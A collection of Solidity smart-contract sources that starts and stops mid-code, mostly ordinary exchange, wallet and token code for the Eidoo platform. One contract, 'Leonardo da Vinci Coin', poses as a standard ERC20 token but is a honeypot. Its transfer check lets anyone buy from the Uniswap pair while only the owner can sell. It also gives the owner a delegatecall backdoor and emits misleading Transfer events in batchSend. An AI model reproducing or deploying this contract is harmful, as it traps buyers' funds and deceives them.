external returns (bool) { Observer = IObserver( observerAddr ); } /** * @dev fallback function where handler can receive native coin */ fallback () external payable { } }
DC1
pragma solidity ^0.5.17; /* Leonardo da Vinci Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract LeonardodaVinciCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.4.15; /** * @title Log Various Error Types * @author Adam Lemmon <[email protected]> * @dev Inherit this contract and your may now log errors easily * To support various error types, params, etc. */ contract LoggingErrors { /** * Events */ event LogErrorString(string errorString); /** * Error cases */ /** * @dev Default error to simply log the error message and return * @param _errorMessage The error message to log * @return ALWAYS false */ function error(string _errorMessage) internal returns(bool) { LogErrorString(_errorMessage); return false; } } /** * @title Wallet Connector * @dev Connect the wallet contract to the correct Wallet Logic version */ contract WalletConnector is LoggingErrors { /** * Storage */ address public owner_; address public latestLogic_; uint256 public latestVersion_; mapping(uint256 => address) public logicVersions_; uint256 public birthBlock_; /** * Events */ event LogLogicVersionAdded(uint256 version); event LogLogicVersionRemoved(uint256 version); /** * @dev Constructor to set the latest logic address * @param _latestVersion Latest version of the wallet logic * @param _latestLogic Latest address of the wallet logic contract */ function WalletConnector ( uint256 _latestVersion, address _latestLogic ) public { owner_ = msg.sender; latestLogic_ = _latestLogic; latestVersion_ = _latestVersion; logicVersions_[_latestVersion] = _latestLogic; birthBlock_ = block.number; } /** * Add a new version of the logic contract * @param _version The version to be associated with the new contract. * @param _logic New logic contract. * @return Success of the transaction. */ function addLogicVersion ( uint256 _version, address _logic ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, WalletConnector.addLogicVersion()'); if (logicVersions_[_version] != 0) return error('Version already exists, WalletConnector.addLogicVersion()'); // Update latest if this is the latest version if (_version > latestVersion_) { latestLogic_ = _logic; latestVersion_ = _version; } logicVersions_[_version] = _logic; LogLogicVersionAdded(_version); return true; } /** * @dev Remove a version. Cannot remove the latest version. * @param _version The version to remove. */ function removeLogicVersion(uint256 _version) external { require(msg.sender == owner_); require(_version != latestVersion_); delete logicVersions_[_version]; LogLogicVersionRemoved(_version); } /** * Constants */ /** * Called from user wallets in order to upgrade their logic. * @param _version The version to upgrade to. NOTE pass in 0 to upgrade to latest. * @return The address of the logic contract to upgrade to. */ function getLogic(uint256 _version) external constant returns(address) { if (_version == 0) return latestLogic_; else return logicVersions_[_version]; } } /** * @title Wallet to hold and trade ERC20 tokens and ether * @author Adam Lemmon <[email protected]> * @dev User wallet to interact with the exchange. * all tokens and ether held in this wallet, 1 to 1 mapping to user EOAs. */ contract Wallet is LoggingErrors { /** * Storage */ // Vars included in wallet logic "lib", the order must match between Wallet and Logic address public owner_; address public exchange_; mapping(address => uint256) public tokenBalances_; address public logic_; // storage location 0x3 loaded for delegatecalls so this var must remain at index 3 uint256 public birthBlock_; // Address updated at deploy time WalletConnector private connector_ = WalletConnector(0x03d6e7b2f48120fd57a89ff0bbd56e9ec39af21c); /** * Events */ event LogDeposit(address token, uint256 amount, uint256 balance); event LogWithdrawal(address token, uint256 amount, uint256 balance); /** * @dev Contract consturtor. Set user as owner and connector address. * @param _owner The address of the user's EOA, wallets created from the exchange * so must past in the owner address, msg.sender == exchange. */ function Wallet(address _owner) public { owner_ = _owner; exchange_ = msg.sender; logic_ = connector_.latestLogic_(); birthBlock_ = block.number; } /** * @dev Fallback - Only enable funds to be sent from the exchange. * Ensures balances will be consistent. */ function () external payable { require(msg.sender == exchange_); } /** * External */ /** * @dev Deposit ether into this wallet, default to address 0 for consistent token lookup. */ function depositEther() external payable { require(logic_.delegatecall(bytes4(sha3('deposit(address,uint256)')), 0, msg.value)); } /** * @dev Deposit any ERC20 token into this wallet. * @param _token The address of the existing token contract. * @param _amount The amount of tokens to deposit. * @return Bool if the deposit was successful. */ function depositERC20Token ( address _token, uint256 _amount ) external returns(bool) { // ether if (_token == 0) return error('Cannot deposit ether via depositERC20, Wallet.depositERC20Token()'); require(logic_.delegatecall(bytes4(sha3('deposit(address,uint256)')), _token, _amount)); return true; } /** * @dev The result of an order, update the balance of this wallet. * @param _token The address of the token balance to update. * @param _amount The amount to update the balance by. * @param _subtractionFlag If true then subtract the token amount else add. * @return Bool if the update was successful. */ function updateBalance ( address _token, uint256 _amount, bool _subtractionFlag ) external returns(bool) { assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * User may update to the latest version of the exchange contract. * Note that multiple versions are NOT supported at this time and therefore if a * user does not wish to update they will no longer be able to use the exchange. * @param _exchange The new exchange. * @return Success of this transaction. */ function updateExchange(address _exchange) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner_, Wallet.updateExchange()'); // If subsequent messages are not sent from this address all orders will fail exchange_ = _exchange; return true; } /** * User may update to a new or older version of the logic contract. * @param _version The versin to update to. * @return Success of this transaction. */ function updateLogic(uint256 _version) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner_, Wallet.updateLogic()'); address newVersion = connector_.getLogic(_version); // Invalid version as defined by connector if (newVersion == 0) return error('Invalid version, Wallet.updateLogic()'); logic_ = newVersion; return true; } /** * @dev Verify an order that the Exchange has received involving this wallet. * Internal checks and then authorize the exchange to move the tokens. * If sending ether will transfer to the exchange to broker the trade. * @param _token The address of the token contract being sold. * @param _amount The amount of tokens the order is for. * @param _fee The fee for the current trade. * @param _feeToken The token of which the fee is to be paid in. * @return If the order was verified or not. */ function verifyOrder ( address _token, uint256 _amount, uint256 _fee, address _feeToken ) external returns(bool) { assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * @dev Withdraw any token, including ether from this wallet to an EOA. * @param _token The address of the token to withdraw. * @param _amount The amount to withdraw. * @return Success of the withdrawal. */ function withdraw(address _token, uint256 _amount) external returns(bool) { if(msg.sender != owner_) return error('msg.sender != owner, Wallet.withdraw()'); assembly { calldatacopy(0x40, 0, calldatasize) delegatecall(gas, sload(0x3), 0x40, calldatasize, 0, 32) return(0, 32) pop } } /** * Constants */ /** * @dev Get the balance for a specific token. * @param _token The address of the token contract to retrieve the balance of. * @return The current balance within this contract. */ function balanceOf(address _token) public constant returns(uint) { return tokenBalances_[_token]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); uint public decimals; string public name; } /** * @title Decentralized exchange for ether and ERC20 tokens. * @author Adam Lemmon <[email protected]> * @dev All trades brokered by this contract. * Orders submitted by off chain order book and this contract handles * verification and execution of orders. * All value between parties is transferred via this exchange. * Methods arranged by visibility; external, public, internal, private and alphabatized within. */ contract Exchange is LoggingErrors { using SafeMath for uint256; /** * Data Structures */ struct Order { bool active_; // True: active, False: filled or cancelled address offerToken_; uint256 offerTokenTotal_; uint256 offerTokenRemaining_; // Amount left to give address wantToken_; uint256 wantTokenTotal_; uint256 wantTokenReceived_; // Amount received, note this may exceed want total } /** * Storage */ address private orderBookAccount_; address private owner_; uint256 public minOrderEthAmount_; uint256 public birthBlock_; address public edoToken_; uint256 public edoPerWei_; uint256 public edoPerWeiDecimals_; address public eidooWallet_; mapping(bytes32 => Order) public orders_; // Map order hashes to order data struct mapping(address => address) public userAccountToWallet_; // User EOA to wallet addresses /** * Events */ event LogEdoRateSet(uint256 rate); event LogOrderExecutionSuccess(); event LogOrderFilled(bytes32 indexed orderId, uint256 fillAmount, uint256 fillRemaining); event LogUserAdded(address indexed user, address walletAddress); event LogWalletDeposit(address indexed walletAddress, address token, uint256 amount, uint256 balance); event LogWalletWithdrawal(address indexed walletAddress, address token, uint256 amount, uint256 balance); /** * @dev Contract constructor - CONFIRM matches contract name. Set owner and addr of order book. * @param _bookAccount The EOA address for the order book, will submit ALL orders. * @param _minOrderEthAmount Minimum amount of ether that each order must contain. * @param _edoToken Deployed edo token. * @param _edoPerWei Rate of edo tokens per wei. * @param _edoPerWeiDecimals Decimlas carried in edo rate. * @param _eidooWallet Wallet to pay fees to. */ function Exchange( address _bookAccount, uint256 _minOrderEthAmount, address _edoToken, uint256 _edoPerWei, uint256 _edoPerWeiDecimals, address _eidooWallet ) public { orderBookAccount_ = _bookAccount; minOrderEthAmount_ = _minOrderEthAmount; owner_ = msg.sender; birthBlock_ = block.number; edoToken_ = _edoToken; edoPerWei_ = _edoPerWei; edoPerWeiDecimals_ = _edoPerWeiDecimals; eidooWallet_ = _eidooWallet; } /** * @dev Fallback. wallets utilize to send ether in order to broker trade. */ function () external payable { } /** * External */ /** * @dev Add a new user to the exchange, create a wallet for them. * Map their account address to the wallet contract for lookup. * @param _userAccount The address of the user's EOA. * @return Success of the transaction, false if error condition met. */ function addNewUser(address _userAccount) external returns (bool) { if (userAccountToWallet_[_userAccount] != address(0)) return error('User already exists, Exchange.addNewUser()'); // Pass the userAccount address to wallet constructor so owner is not the exchange contract address userWallet = new Wallet(_userAccount); userAccountToWallet_[_userAccount] = userWallet; LogUserAdded(_userAccount, userWallet); return true; } /** * Execute orders in batches. * @param _token_and_EOA_Addresses Tokan and user addresses. * @param _amountsExpirationAndSalt Offer and want token amount and expiration and salt values. * @param _sig_v All order signature v values. * @param _sig_r_and_s All order signature r and r values. * @return The success of this transaction. */ function batchExecuteOrder( address[4][] _token_and_EOA_Addresses, uint256[8][] _amountsExpirationAndSalt, // Packing to save stack size uint8[2][] _sig_v, bytes32[4][] _sig_r_and_s ) external returns(bool) { for (uint256 i = 0; i < _amountsExpirationAndSalt.length; i++) { require(executeOrder( _token_and_EOA_Addresses[i], _amountsExpirationAndSalt[i], _sig_v[i], _sig_r_and_s[i] )); } return true; } /** * @dev Execute an order that was submitted by the external order book server. * The order book server believes it to be a match. * There are components for both orders, maker and taker, 2 signatures as well. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _amountsExpirationAndSalt The amount of tokens, [makerOffer, makerWant, takerOffer, takerWant]. * and the block number at which this order expires * and a random number to mitigate replay. [makerExpiry, makerSalt, takerExpiry, takerSalt] * @param _sig_v ECDSA signature parameter v, maker 0 and taker 1. * @param _sig_r_and_s ECDSA signature parameters r ans s, maker 0, 1 and taker 2, 3. * @return Success of the transaction, false if error condition met. * Like types grouped to eliminate stack depth error */ function executeOrder ( address[4] _token_and_EOA_Addresses, uint256[8] _amountsExpirationAndSalt, // Packing to save stack size uint8[2] _sig_v, bytes32[4] _sig_r_and_s ) public returns(bool) { // Only read wallet addresses from storage once // Need one more stack slot so squashing into array Wallet[2] memory wallets = [ Wallet(userAccountToWallet_[_token_and_EOA_Addresses[0]]), // maker Wallet(userAccountToWallet_[_token_and_EOA_Addresses[2]]) // taker ]; // Basic pre-conditions, return if any input data is invalid if(!__executeOrderInputIsValid__( _token_and_EOA_Addresses, _amountsExpirationAndSalt, wallets[0], wallets[1] )) return error('Input is invalid, Exchange.executeOrder()'); // Verify Maker and Taker signatures bytes32 makerOrderHash; bytes32 takerOrderHash; (makerOrderHash, takerOrderHash) = __generateOrderHashes__(_token_and_EOA_Addresses, _amountsExpirationAndSalt); if (!__signatureIsValid__( _token_and_EOA_Addresses[0], makerOrderHash, _sig_v[0], _sig_r_and_s[0], _sig_r_and_s[1] )) return error('Maker signature is invalid, Exchange.executeOrder()'); if (!__signatureIsValid__( _token_and_EOA_Addresses[2], takerOrderHash, _sig_v[1], _sig_r_and_s[2], _sig_r_and_s[3] )) return error('Taker signature is invalid, Exchange.executeOrder()'); // Exchange Order Verification and matching. Order memory makerOrder = orders_[makerOrderHash]; Order memory takerOrder = orders_[takerOrderHash]; if (makerOrder.wantTokenTotal_ == 0) { // Check for existence makerOrder.active_ = true; makerOrder.offerToken_ = _token_and_EOA_Addresses[1]; makerOrder.offerTokenTotal_ = _amountsExpirationAndSalt[0]; makerOrder.offerTokenRemaining_ = _amountsExpirationAndSalt[0]; // Amount to give makerOrder.wantToken_ = _token_and_EOA_Addresses[3]; makerOrder.wantTokenTotal_ = _amountsExpirationAndSalt[1]; makerOrder.wantTokenReceived_ = 0; // Amount received } if (takerOrder.wantTokenTotal_ == 0) { // Check for existence takerOrder.active_ = true; takerOrder.offerToken_ = _token_and_EOA_Addresses[3]; takerOrder.offerTokenTotal_ = _amountsExpirationAndSalt[2]; takerOrder.offerTokenRemaining_ = _amountsExpirationAndSalt[2]; // Amount to give takerOrder.wantToken_ = _token_and_EOA_Addresses[1]; takerOrder.wantTokenTotal_ = _amountsExpirationAndSalt[3]; takerOrder.wantTokenReceived_ = 0; // Amount received } if (!__ordersMatch_and_AreVaild__(makerOrder, takerOrder)) return error('Orders do not match, Exchange.executeOrder()'); // Trade amounts uint256 toTakerAmount; uint256 toMakerAmount; (toTakerAmount, toMakerAmount) = __getTradeAmounts__(makerOrder, takerOrder); // TODO consider removing. Can this condition be met? if (toTakerAmount < 1 || toMakerAmount < 1) return error('Token amount < 1, price ratio is invalid! Token value < 1, Exchange.executeOrder()'); // Taker is offering edo tokens so ensure sufficient balance in order to offer edo and pay fee in edo if ( takerOrder.offerToken_ == edoToken_ && Token(edoToken_).balanceOf(wallets[1]) < __calculateFee__(makerOrder, toTakerAmount, toMakerAmount).add(toMakerAmount) ) { return error('Taker has an insufficient EDO token balance to cover the fee AND the offer, Exchange.executeOrder()'); // Taker has sufficent EDO token balance to pay the fee } else if (Token(edoToken_).balanceOf(wallets[1]) < __calculateFee__(makerOrder, toTakerAmount, toMakerAmount)) return error('Taker has an insufficient EDO token balance to cover the fee, Exchange.executeOrder()'); // Wallet Order Verification, reach out to the maker and taker wallets. if (!__ordersVerifiedByWallets__( _token_and_EOA_Addresses, toMakerAmount, toTakerAmount, wallets[0], wallets[1], __calculateFee__(makerOrder, toTakerAmount, toMakerAmount) )) return error('Order could not be verified by wallets, Exchange.executeOrder()'); // Order Execution, Order Fully Verified by this point, time to execute! // Local order structs __updateOrders__(makerOrder, takerOrder, toTakerAmount, toMakerAmount); // Write to storage then external calls // Update orders active flag if filled if (makerOrder.offerTokenRemaining_ == 0) makerOrder.active_ = false; if (takerOrder.offerTokenRemaining_ == 0) takerOrder.active_ = false; // Finally write orders to storage orders_[makerOrderHash] = makerOrder; orders_[takerOrderHash] = takerOrder; // Transfer the external value, ether <> tokens require( __executeTokenTransfer__( _token_and_EOA_Addresses, toTakerAmount, toMakerAmount, __calculateFee__(makerOrder, toTakerAmount, toMakerAmount), wallets[0], wallets[1] ) ); // Log the order id(hash), amount of offer given, amount of offer remaining LogOrderFilled(makerOrderHash, toTakerAmount, makerOrder.offerTokenRemaining_); LogOrderFilled(takerOrderHash, toMakerAmount, takerOrder.offerTokenRemaining_); LogOrderExecutionSuccess(); return true; } /** * @dev Set the rate of wei per edo token in or to calculate edo fee * @param _edoPerWei Rate of edo tokens per wei. * @return Success of the transaction. */ function setEdoRate( uint256 _edoPerWei ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setEdoRate()'); edoPerWei_ = _edoPerWei; LogEdoRateSet(edoPerWei_); return true; } /** * @dev Set the wallet for fees to be paid to. * @param _eidooWallet Wallet to pay fees to. * @return Success of the transaction. */ function setEidooWallet( address _eidooWallet ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setEidooWallet()'); eidooWallet_ = _eidooWallet; return true; } /** * @dev Set the minimum amount of ether required per order. * @param _minOrderEthAmount Min amount of ether required per order. * @return Success of the transaction. */ function setMinOrderEthAmount ( uint256 _minOrderEthAmount ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setMinOrderEtherAmount()'); minOrderEthAmount_ = _minOrderEthAmount; return true; } /** * @dev Set a new order book account. * @param _account The new order book account. */ function setOrderBookAcount ( address _account ) external returns(bool) { if (msg.sender != owner_) return error('msg.sender != owner, Exchange.setOrderBookAcount()'); orderBookAccount_ = _account; return true; } /* Methods to catch events from external contracts, user wallets primarily */ /** * @dev Simply log the event to track wallet interaction off-chain * @param _token The address of the token that was deposited. * @param _amount The amount of the token that was deposited. * @param _walletBalance The updated balance of the wallet after deposit. */ function walletDeposit( address _token, uint256 _amount, uint256 _walletBalance ) external { LogWalletDeposit(msg.sender, _token, _amount, _walletBalance); } /** * @dev Simply log the event to track wallet interaction off-chain * @param _token The address of the token that was deposited. * @param _amount The amount of the token that was deposited. * @param _walletBalance The updated balance of the wallet after deposit. */ function walletWithdrawal( address _token, uint256 _amount, uint256 _walletBalance ) external { LogWalletWithdrawal(msg.sender, _token, _amount, _walletBalance); } /** * Private */ /** * Calculate the fee for the given trade. Calculated as the set % of the wei amount * converted into EDO tokens using the manually set conversion ratio. * @param _makerOrder The maker order object. * @param _toTaker The amount of tokens going to the taker. * @param _toMaker The amount of tokens going to the maker. * @return The total fee to be paid in EDO tokens. */ function __calculateFee__( Order _makerOrder, uint256 _toTaker, uint256 _toMaker ) private constant returns(uint256) { // weiAmount * (fee %) * (EDO/Wei) / (decimals in edo/wei) / (decimals in percentage) if (_makerOrder.offerToken_ == address(0)) { return _toTaker.mul(edoPerWei_).div(10**edoPerWeiDecimals_); } else { return _toMaker.mul(edoPerWei_).div(10**edoPerWeiDecimals_); } } /** * @dev Verify the input to order execution is valid. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _amountsExpirationAndSalt The amount of tokens, [makerOffer, makerWant, takerOffer, takerWant]. * as well as The block number at which this order expires, maker[4] and taker[6]. * @return Success if all checks pass. */ function __executeOrderInputIsValid__( address[4] _token_and_EOA_Addresses, uint256[8] _amountsExpirationAndSalt, address _makerWallet, address _takerWallet ) private constant returns(bool) { if (msg.sender != orderBookAccount_) return error('msg.sender != orderBookAccount, Exchange.__executeOrderInputIsValid__()'); if (block.number > _amountsExpirationAndSalt[4]) return error('Maker order has expired, Exchange.__executeOrderInputIsValid__()'); if (block.number > _amountsExpirationAndSalt[6]) return error('Taker order has expired, Exchange.__executeOrderInputIsValid__()'); // Wallets if (_makerWallet == address(0)) return error('Maker wallet does not exist, Exchange.__executeOrderInputIsValid__()'); if (_takerWallet == address(0)) return error('Taker wallet does not exist, Exchange.__executeOrderInputIsValid__()'); // Tokens, addresses and amounts, ether exists if (_token_and_EOA_Addresses[1] != address(0) && _token_and_EOA_Addresses[3] != address(0)) return error('Ether omitted! Is not offered by either the Taker or Maker, Exchange.__executeOrderInputIsValid__()'); if (_token_and_EOA_Addresses[1] == address(0) && _token_and_EOA_Addresses[3] == address(0)) return error('Taker and Maker offer token are both ether, Exchange.__executeOrderInputIsValid__()'); if ( _amountsExpirationAndSalt[0] == 0 || _amountsExpirationAndSalt[1] == 0 || _amountsExpirationAndSalt[2] == 0 || _amountsExpirationAndSalt[3] == 0 ) return error('May not execute an order where token amount == 0, Exchange.__executeOrderInputIsValid__()'); // Confirm order ether amount >= min amount // Maker uint256 minOrderEthAmount = minOrderEthAmount_; // Single storage read if (_token_and_EOA_Addresses[1] == 0 && _amountsExpirationAndSalt[0] < minOrderEthAmount) return error('Maker order does not meet the minOrderEthAmount_ of ether, Exchange.__executeOrderInputIsValid__()'); // Taker if (_token_and_EOA_Addresses[3] == 0 && _amountsExpirationAndSalt[2] < minOrderEthAmount) return error('Taker order does not meet the minOrderEthAmount_ of ether, Exchange.__executeOrderInputIsValid__()'); return true; } /** * @dev Execute the external transfer of tokens. * @param _token_and_EOA_Addresses The addresses of the maker and taker EOAs and offered token contracts. * [makerEOA, makerOfferToken, takerEOA, takerOfferToken] * @param _toTakerAmount The amount of tokens to transfer to the taker. * @param _toMakerAmount The amount of tokens to transfer to the maker. * @return Success if both wallets verify the order. */ function __executeTokenTransfer__( address[4] _token_and_EOA_Addresses, uint256 _toTakerAmount, uint256 _toMakerAmount, uint256 _fee, Wallet _makerWallet, Wallet _takerWallet ) private returns (bool) { // Wallet mapping balances address makerOfferToken = _token_and_EOA_Addresses[1]; address takerOfferToken = _token_and_EOA_Addresses[3]; // Taker to pay fee before trading require(_takerWallet.updateBalance(edoToken_, _fee, true)); // Subtraction flag require(Token(edoToken_).transferFrom(_takerWallet, eidooWallet_, _fee)); // Move the toTakerAmount from the maker to the taker require(_makerWallet.updateBalance(makerOfferToken, _toTakerAmount, true)); // Subtraction flag /*return error('Unable to subtract maker token from maker wallet, Exchange.__executeTokenTransfer__()');*/ require(_takerWallet.updateBalance(makerOfferToken, _toTakerAmount, false)); /*return error('Unable to add maker token to taker wallet, Exchange.__executeTokenTransfer__()');*/ // Move the toMakerAmount from the taker to the maker require(_takerWallet.updateBalance(takerOfferToken, _toMakerAmount, true)); // Subtraction flag /*return error('Unable to subtract taker token from taker wallet, Exchange.__executeTokenTransfer__()');*/ require(_makerWallet.updateBalance(takerOfferToken, _toMakerAmount, false)); /*return error('Unable to add taker token to maker wallet, Exchange.__executeTokenTransfer__()');*/ // Contract ether balances and token contract balances // Ether to the taker and tokens to the maker if (makerOfferToken == address(0)) { _takerWallet.transfer(_toTakerAmount); require( Token(takerOfferToken).transferFrom(_takerWallet, _makerWallet, _toMakerAmount) ); assert( __tokenAndWalletBalancesMatch__(_makerWallet, _takerWallet, takerOfferToken) ); // Ether to the maker and tokens to the taker } else if (takerOfferToken == address(0)) { _makerWallet.transfer(_toMakerAmount); require( Token(makerOfferToken).transferFrom(_makerWallet, _takerWallet, _toTakerAmount) ); assert( 